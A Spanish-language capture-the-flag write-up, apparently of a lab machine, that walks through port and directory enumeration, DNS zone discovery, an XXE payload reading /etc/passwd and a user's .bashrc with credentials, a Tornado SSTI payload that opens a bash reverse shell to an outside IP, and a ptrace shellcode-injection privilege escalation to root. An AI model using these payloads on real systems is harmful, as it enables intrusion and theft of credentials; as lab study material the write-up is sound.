Enumeramos puertos: 53 (BIND), 80 (Apache) y 9999 (Tornado, login):
❯ nmap -sC -sV -p53,80,9999 -oN 02-targeted 192.168.1.33El sitio insiste en la palabra "DIG" (DIG me more...) y el código fuente da una pista: TO DO: Use a GET parameter page_no to view pages. Enumeramos con gobuster (form.html, app.html, etc.) y luego fuzzeamos page_no con Burp Intruder; analizando el tamaño de las respuestas, una destaca por ser mayor y revela un subdominio:
❯ gobuster dir -u http://192.168.1.33 -w .../directory-list-2.3-medium.txt -x php,txt,html
/form.html /app.html /images /css /javascript
http://192.168.1.33/?page_no=N # una página revela: hackers.blackhat.localUsando dig sobre el DNS (puerto 53) descubrimos la zona y más nombres (enumeración DNS):
❯ dig hackers.blackhat.local @192.168.1.33
...
blackhat.local. 3600 IN SOA blackhat.local. hackerkid.blackhat.local. ...Añadimos blackhat.local y hackerkid.blackhat.local al /etc/hosts. El formulario de registro de hackerkid.blackhat.local envía XML al servidor → vulnerable a XXE Injection:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><name>asdf</name><tel>asdf</tel><email>&xxe;</email><password>asdf</password></root>Con un wrapper PHP leemos el .bashrc del usuario saket y obtenemos credenciales de la app Python (Tornado):
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">username="admin"
password="Saket!#$%@!!"Entramos al servicio del puerto 9999 (usuario saket, no admin). El parámetro name es vulnerable a SSTI (Tornado):
http://192.168.1.33:9999/?name={{7*7}} # → Hello 49
http://192.168.1.33:9999/?name={% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.10/1234 0>&1"')}}Ya con shell, listamos capabilities (Linux Capabilities Privesc):
❯ /sbin/getcap -r / 2>/dev/null
...
/usr/bin/python2.7 = cap_sys_ptrace+ep
...python2.7 tiene cap_sys_ptrace: con el exploit de HackTricks inyectamos shellcode en el proceso de Apache (root), que abre el puerto 5600:
❯ ps -faux | grep apache # pid 742 (root)
❯ python2.7 exploit.py 742
Shellcode Injected!!
❯ sudo nc 192.168.1.33 5600 -vvv
whoami
root(En /root hay un ZIP con una APK que finalmente da la contraseña de root.)
Fin.